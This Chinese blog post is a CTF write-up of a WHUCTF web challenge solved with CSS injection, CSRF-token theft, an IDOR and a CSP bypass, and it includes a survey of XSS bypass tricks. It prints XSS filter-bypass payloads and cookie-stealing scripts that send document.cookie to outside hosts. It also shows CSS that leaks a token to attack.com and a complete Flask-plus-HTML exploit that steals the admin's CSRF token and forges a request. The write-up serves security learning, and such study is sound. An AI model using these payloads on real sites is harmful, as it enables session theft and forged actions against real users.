这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了WHUCTF隐写和逆向题目,包括文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析。这篇文章将详细讲解一道CSS注入题目,包括CSS注入、越权、csrf-token窃取及CSP绕过,同时总结XSS绕过知识,希望对您有所帮助。第一次参加CTF,还是学到了很多东西。人生路上,要珍惜好每一天与家人陪伴的日子。感谢武汉大学,感谢这些大佬和师傅们(尤其出题和解题的老师们)~
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~
PS:本文参考了WHUCTF题目及WP、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。
作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
CTF案例:https://github.com/eastmountyxz/CTF-Web-WP
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
[网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
[网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
[网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
[网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP(文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析)
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
题目地址:http://218.197.154.9:10000/
这是一个借书网站,登录页面显示如下图所示:
图书列表显示如下:http://218.197.154.9:10000/bookList
该题的出题师傅是JrXnm老师,下面说说他的出题思路:
这道题是很用心出的一道题,最后0解就很悲伤了。这道题逻辑并不复杂, 有一个report点,那必然是前端漏洞,后来也提示了是css注入。而本题的目的很明显就是需要admin帮用户借一本书,而借书接口存在csrftoken,那么就需要css注入窃取token然后成功帮忙借书。题目难点在于对css注入的一些限制。
参考网址:https://blog.szfszf.top/article/43/
输入用户名和密码之后进入图书借阅系统,比如输入“csdn”,主界面显示如下图所示。
点击“图书列表”,然后选中书籍“跳转详情”可以进行借书。
书籍详情页面显示如下,下图展示了借书成功界面。
接着“我的主页”就可以显示了刚刚借阅的书籍信息。
可以借书还书, 而有一本书称为flag之书只允许admin借阅。而且每本书成功借阅之后就可以看到它隐藏的内容。那么这道题的目的就是借这本书了。
题目还有一个post页面和一个report页面,post页面可以赞美出题人。
通过post页面给自己点赞如下图所示。
report页面可以向admin发送一个url让admin点击。
题解:看到report功能, 可以确定存在前端漏洞,比如XSS、CSRF啥的。结合post功能中发送的post内容会自动拼接到页面中,可以确定是前端漏洞。
我最初的解题思路是:
本题有一个很重要的提示是“把赞美的url(http://jrxnm.com/post/xxx/)发给admin吧,他会给你点个赞的”,接下来想办法让admin点赞。
第一步,在Report页面提交点赞内容。其中URL为点赞链接,密码为md5(xxx)[:6]==a146d9。
查看post页面源代码,可以看到点赞的URL即为提交的链接(http://jrxnm.com/post/1735)。
第二步,md5加密的前6位为“a146d9”,我们尝试用Python解密。
import hashlib
for i in range(100000000):
str_i = str(i)
hash1 = hashlib.md5() #md5转utf-8
hash1.update(str_i.encode("utf-8")) #转码
str_md = hash1.hexdigest()
if str_md[:6] == 'a146d9':
print(i)
break
#输出结果
#a146d9 ==> 31772644
解密结果如下图所示,其值为“31772644”。
第三步,在Report提交数据,然后提示发送给admin成功。
此时点击post页面可以看到管理员admin也给我们点赞了。
跨站脚本攻击(Cross-site scripting,XSS) 是指恶意攻击者往Web页面里插入恶意代码,当用户浏览该网页时,嵌入Web中的恶意代码就会被执行,从而达到恶意攻击用户的目的。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
接下来继续分析,我们发现post页面能够实现反弹型XSS。当我们插入如下JS代码,点击提交后弹出对话框。
<script>alert('Eastmount')script>
同时,每当我们点赞时,它都会调用JS代码继续弹窗。
XSS强烈推荐作者的两篇文章:
接着我补充XSS注入的基本绕过方法。
(1) XSS基本弹窗
1) 利用基本的script标签来弹窗
<script>alert('xss')script>
2) 利用iframe标签的src属性来弹窗
比如利用iframe标签的src属性来弹窗如下图所示:
(2) XSS基本绕过
1) 无过滤直接用常规的进行绕过
<script>alert('Eastmount')script>
2) 绕过大小写过滤preg_replace()函数
<Script>alert('Eastmount')scripT>
3) 双写或嵌套绕过preg_replace()函数
<script>ript>alert('Eastmount')</sscript>cript>
4) 使用img标签绕过script字符串
5) 编码绕过alert禁用过滤 使用JavaScript fromCharCode()
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,69,97,115,116,109,111,117,110,116,39,41))script>
6) 构造JS脚本使标签闭合绕过get传来的参数 var $a = “”;
script><script>alert('Eastmount')script>
1";script><img scr=1 οnerrοr=alert(‘Eastmount’)><script>
7) 绕过字符转义htmlentities($_GET[“name”])
’;alert(‘Eastmount’);'
Eastmount’;alert($a);//
8) 利用$_SERVER[‘PHP_SELF’]绕过字符转义htmlentities()函数
/"><script>alert('Eastmount')script>"< "
/">
(3) XSS反弹Cookie
那么,我们能不能把Cookie反弹出来呢?其中,最常见的方法是调用alert(document.cookie)实现。
<script>alert(document.cookie)script>
下图展示了本地XSS案例的Cookie反弹。
那么,本题有没有反应呢?它弹出的结果为空。
(4) XSS利用服务器反弹Cookie
同时,作者补充另一种反弹Cookie的方法。本地搭建PHP网站环境(或服务器搭建),然后新建getcookie.php文件,代码如下:
$file=fopen("1.txt","a");
if($_GET['cookie']){
$cookie=$_GET['cookie'];
fputs($file,"$cookie\r\n");
}
?>
接着构建XSS弹框,它会访问getcookie.php文件,然后将cookie写入“1.txt”文件中。
<script>document.location='http://127.0.0.1/getcookie.php?cookie='+document.cookie;script>
<script>alert(document.location='http://127.0.0.1/getcookie.php?cookie='+document.cookie)script>
最后本地生成一个文件“1.txt”,并写入Cookie。
其他方法如下,参考文章:xss实战:利用xss得到cookie
1) 构建hacker.php
$cookie = $_GET['cookie'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
?>
2) 构建hacker.js
var img = new Image();
img.src = "http://127.0.0.1/xss-js/hacker.php?cookie=" + document.cookie;
document.body.append(img);
3) 构建get.js然后放到Web服务器上,比如http://www.myweb.com/get.js
在存在xss漏洞的地方插入你的js,比如 <script src="http://127.0.0.1/get.js"></script>
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://www.myweb.com/get.jsp?msg='+encodeURIComponent(document.cookie);
注意:document.cookie包含特殊字符,需要用encodeURIComponent处理一下。如果不想让人看到js内容,可以在线加密。
但是作者将该XSS脚本写入题目post页面,却没能将cookie写入“1.txt”,而仅仅跳转本地URL。
大家是否想过为什么不能获取Cookie呢?
这是因为该网站把Cookie设置成HttpOnly,它能有效防止XSS攻击。当我们使用 alert(document.cookie) 来弹出当前会话的Cookie,HttpOnly能防止XSS及避免JavaScript读取Cookie。
比如说张三在我们网站上登陆了一下用户名,李四特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,这样能有效的防止XSS攻击。下图可以看到该网站设置了httponly保护。
同时,我们可以看到csrf-token相关的信息,CSRF即跨站请求伪造(Cross-site request forgery)。
<meta name="csrf-token" content="dd75cdcc270f39679a3750ec83cba7ca">
那么,能不能利用XSS绕过HTTPonly呢?
文章 XSS绕过HTTPonly 通过构造XHR(ajax是XMLHttpRequest对象)请求实现。也有一些文章通过iframe获取cookie信息,参考文章 第十届全国大学生信息安全竞赛Guestbook题目 - FlappyPig师傅 。
看到了CSP信息及沙盒,发现CSP允许unsafe-eval的执行。然后开始测试,经过测试发现link标签、location都被过滤替换成hacker,但是location很容易绕过,例如window[‘locat’+‘ion’].href。
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
font-src 'self' fonts.gstatic.com;
style-src 'self' 'unsafe-inline';
img-src 'self'
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
script>
接下来的思路是用一个iframe从其他路径下“借用”一个XMLHttpRequest来发送请求,大概初始payload如下:
<iframe id="bendawang" src="http://106.75.103.149:8888/"></iframe>
<script>
window.XMLHttpRequest = window.top.frames[0].XMLHttpRequest;
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://106.75.103.149:8888/index.php ", false);
xhr.send();
a=xhr.responseText;
window['locat'+'ion'].href='http://104.160.43.154:8000/xss/?content='+escape(a);
</script>
能够成功获得服务器的返回,但是没有cookie,源码里面也没有flag,通过测试document.referrer,发现这个地址:
发现无法获取源码,那么尝试通过iframe来获取cookie,思路跟之前DDCTF一个题目的思路一样。最后修正payload如下:
<iframe src="javascript:i=document.createElement('iframe');
i.src='/admin/review.php?b=2e232e23';
i['onlo'+'ad']=function(){parent.window['locat'+'ion'].href='http://xss/
'+escape(this.contentWindow.document.cookie)};
document.body.append(i)">
iframe>
那么,什么是CSP?
Content Security Policy (CSP)内容安全策略是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。简单来说,CSP就是为了减少XSS、CSRF等攻击的,是通过控制可信来源的方式,类似于同源策略。
CSP以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过HTTP头信息或者meta元素定义。CSP虽然提供了强大的安全保护,但是也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整。
基本上来说,CSP上容易存在的XSS漏洞不多,除非你坚持使用‘unsafe-inline’。多数情况来说,CSP仍没有得到普及的原因就是因为大量的禁用内联脚本和eval这样的函数,导致如果配置不当,甚至网站都无法正常使用。否则来说,XSS会被大幅度的减少,而bypass CSP更多来说是不容易被CSP杀掉的CSRF。
这道CTF题目的CSP信息如下:
Connection: keep-alive
Content-Length: 2326
Content-Security-Policy: default-src 'none'; connect-src 'self';img-src 'self'; style-src 'self' 'unsafe-inline';
Content-Type: text/html; charset=utf-8
Date: Tue, 26 May 2020 06:51:17 GMT
Server: nginx/1.17.10
Vary: Cookie
X-Frame-Options: Deny
发现自己是真的菜,只能推荐两篇文章供大家学习,自己也有点懵圈了。
指纹信息收集及漏洞利用
同时,作者通过 https://scan.top15.cn/web/ 网站在线获取指纹信息如下,其采用的框架为“Nginx,jQuery,AngularJS,Server【nginx/1.17.10】”。这里我也想过,是否能利用AngularJS漏洞信息进行渗透呢?推荐文章:
下面讲解出题老师的WP,开始吧!原文网址:WHUCTF2020出题记录
强烈推荐大家阅读JrXnm老师的系列文章,真的是厉害,佩服佩服~
解题思路:
这道题逻辑并不复杂, 有一个report点,那必然是前端漏洞,后来也提示了是css注入。而本题的目的很明显就是需要admin帮用户借一本书,而借书接口存在csrftoken,那么就需要css注入窃取token然后成功帮忙借书。题目难点在于对css注入的一些限制。
PS:对于css注入不熟的同学先看完 CSS injection总结 文章后再看下列的内容。
假设我们提交信息为 ,虽然post中直接拼接输入,但是存在CSP的限制。
http://218.197.154.9:10000/post/1735/?post=<img src=‘123.jpg’>
CSP限制如下图所示:
Content-Security-Policy:
default-src 'none';
connect-src 'self';
img-src 'self';
style-src 'self' 'unsafe-inline';
可以看到因为script-src是none,js脚本无论何种情况是不可能执行的,那么也就不可能xss。当然我们发现CSS允许内联(‘unsafe-inline’)但不允许外部引入。
尝试新的请求:
网址构建为:
http://218.197.154.9:10000/post/1735/?post=<style>body{background:red}style>
可以看到css内敛代码成功执行。此时我们拥有了一个CSS注入点,CSS注入可以窃取页面中的数据,同时全站页面的响应头都包含了X-Frame-Options: Deny ,限制站点被iframe包含。
回到借书功能, 我们尝试借阅flag之书。
使用BurpSuite拦截信息如下图所示:
借书操作有以下参数:
既然我们拥有css注入漏洞, 那么窃取csrf_token是没问题的。
在这个接口中,uid这个参数位是很奇怪的,标识用户只需要session就可以了,本来是无需uid的。简单尝试发现改变uid可以越权帮助别人借书, 那么我们可以利用css注入窃取csrf_token,然后让admin帮我们借书。
以“高等数学”为例,我们的uid为1735,使用BurpSuite拦截信息,然后修改uid为“1700”,同样成功借书。这表明存在越权的漏洞。
借书成功如下图所示:
查看页面源代码csrf-token是放在标签的属性中的, 这极大地方便了我们窃取。
由于全站限制了被frame包含, 而css注入不允许import引入外部css,所以传统的利用iframe窃取标签数据不能利用,在JrXnm师傅的 CSS injection总结 文章中已经指出了不使用iframe的css注入的可能方法。
https://github.com/dxa4481/cssInjection 这里给出了一种方法, 由于一位一位的猜测标签数据内容,存在iframe包含时,我们可以控制js每猜测一位csrf-token值时,加载一个iframe。而没有iframe的话我们可以利用不断开启窗口打开漏洞页面。
就像上面文章说的, 这种方法要求劫持用户点击行为。而我在题目里面和hint里给了很多暗示,让用户把赞美的url发给admin。
发送了之后不久,你就会发现admin给你点了个赞。
很明显admin访问链接之后有点击行为,我们可以劫持这个点击就可以实现不断地开启窗口了。
最后一个巧妙地绕过就是绕过connect-src ‘self’,仔细观察下面的那个CSP,它还限制了connect-src,只能向同源站内发送数据,意味着无法向外带出数据了。
Content-Security-Policy:
default-src 'none';
connect-src 'self';
img-src 'self';
style-src 'self' 'unsafe-inline';
熟悉有frame的css注入的同学知道,为了一位一位的猜解页面内容,如下我们需要页面不断和我们搭建的服务通信。
<style>
input[value^="0"] {
background: url(http://attack.com/0);
}
input[value^="1"] {
background: url(http://attack.com/1);
}
input[value^="2"] {
background: url(http://attack.com/2);
}
...
input[value^="Y"] {
background: url(http://attack.com/Y);
}
input[value^="Z"] {
background: url(http://attack.com/Z);
}
style>
这时限制了connect-src为self我们就不能向使用此方法了。
但是允许站内发数据,这里就有一个比较巧妙的点,我们知道admin可以向任何人点赞, 而且点赞api很容易获取到 /like/1735 其中的1735就是被点赞的人的uid。
而且csrf-token只有16位, 我们创建16个用户代表a-f 0-9,当猜测出csrf-token某位为a时,向我们创建的第一个用户点赞, 通过不断访问用户post页面就可以知道是谁被点赞了, 这样就可以带出数据了。
<style>
input[value^="a"] {
background: url(http://jrxnm.cpm/like/1000);
}
input[value^="b"] {
background: url(http://jrxnm.cpm/like/1001);
}
input[value^="c"] {
background: url(http://jrxnm.cpm/like/1002);
}
...
input[value^="8"] {
background: url(http://jrxnm.cpm/like/1014);
}
input[value^="9"] {
background: url(http://jrxnm.cpm/like/1015);
}
</style>
代码和有frame的代码类似,代码就不详细分析了,和那篇文章中使用frame的原理是类似的,只是加入了本文的这些限制,看懂了那个这个也没问题了。
首先是服务端, 注意修改user_id为自己的id。
from flask import Flask
from threading import Thread
import random, string
import requests
import re
import time
app = Flask(__name__)
token = ""
users = []
challenge_url = "http://218.197.154.9:10000/"
challenge_url_for_bot = "http://jrxnm.com/"
payload_url = "http://blog.szfszf.top:9015/"
user_id = 1233
chars = "abcdef0123456789"
@app.route('/return')
def return_token():
return token
@app.route('/noframe.html')
def client():
ids = [str(u.id) for u in users]
return open('noframe.html').read()%(str(ids), challenge_url_for_bot, payload_url, str(user_id))
def get_random(num=32):
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, num))
return ran_str
class User:
def __init__(self):
self.s, self.id = self.create_user()
def create_user(self):
username = get_random()
password = get_random()
data = {"username": username, "password": password}
s = requests.Session()
res1 = s.post(challenge_url+'login', data=data)
res2 = s.get(challenge_url+'post')
pa = re.compile(r'/post/(\d+)/')
user_id = int(pa.findall(res2.text)[0])
print(user_id)
return s,user_id
def post(self):
data = {"post": get_random()}
self.s.post(challenge_url+'post', data=data)
def check_admin_like(self):
global token
res = self.s.get(challenge_url+'post')
if 'admin' in res.text:
ids = [str(u.id) for u in users]
c = chars[ids.index(str(self.id))]
token += c
print(token)
self.post()
return True
return False
def get_token():
get_users()
while True:
for u in users:
t = Thread(target=u.check_admin_like)
t.start()
time.sleep(0.2)
def get_users():
for i in range(16):
users.append(User())
ids = [str(u.id) for u in users]
print(ids)
if __name__ == '__main__':
t = Thread(target=get_token)
t.start()
app.run(host='0.0.0.0', port=9015)
页面内容代码如下:
<html>
<body onclick="potatoes();">click somewhere to begin attackbody>
<script>
var chars = %s;
var chars1 = "abcdef0123456789".split("")
var challenge_url = '%s'
var vuln_url = challenge_url + 'post/1/?post=';
var server_receive_token_url = challenge_url + 'like/';
var server_return_token_url = '%sreturn';
var known = "";
var length = 32;
var m = 0;
function borrow_flag(csrf_token){
let postData = "uid=%s&book_id=7&csrf_token="+csrf_token;
fetch( challenge_url + 'borrow', {
method: 'POST',
mode: 'cors',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: postData
}).then(function(response) {
console.log(response);
});
}
function build_css() {
css_payload = ""
return css_payload;
}
var potatoes = function(){
var css = build_css();
var win2 = window.open(vuln_url + css, 'f')
win2.blur();
setTimeout(function() {
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", known_listener);
oReq.open("GET", server_return_token_url);
oReq.send();
}, 1000);
}
function known_listener () {
document.getElementById("CSRFToken").innerHTML = "Current Token: " + this.responseText;
console.log(m);
if(known != this.responseText) {
m=0;
known = this.responseText;
potatoes();
} else {
known = this.responseText;
m+=1;
if (m==2){
borrow_flag(known);
}else{
potatoes();
}
}
}
script>
br>
The CSRF token is:
<div id="CSRFToken">div>
<a><button class="btn btn-danger" ng-show="flag">点赞button>a>
div>
html>
如何运行代码呢?
以上第一个文件保存为index.py, 第二个为noframe.html 放在服务器上同一个文件夹。运行python index.py,向admin report url为 http://your_server:9015/noframe.html。
然后可以看到admin会访问这个页面然后在一位一位的猜csrf-token。
猜完了之后会自动csrf帮你借书,然后你就可以在主页看到这本书了,书本点进去就是flag。
写到这里,这篇文章就介绍完毕,希望对您有所帮助,还是觉得自己菜。学安全近一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。最后还是那句话,人生路上,好好享受陪伴家人的日子,那才是最幸福的事情,爱你~
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
虽然非常忙,但每当看到博友的提问或交流都不忍拒绝,其实自己真的快忙疯了。看到这些大山走出去的学生,大一新生,求职研究生或遇到问题的朋友,都想帮他们一把,因为我们也是在很多人的帮助下成长起来的。而看到很多私活、广告、合作、出书之类的私信,我都会拒绝或不回时光飞逝,还有太多知识要去学习,太多陪伴要去争取,太多文字要去记录,且行且珍惜,最爱的人,晚安。
(By:Eastmount 2020-06-09 凌晨2点写于贵阳 http://blog.csdn.net/eastmount/ )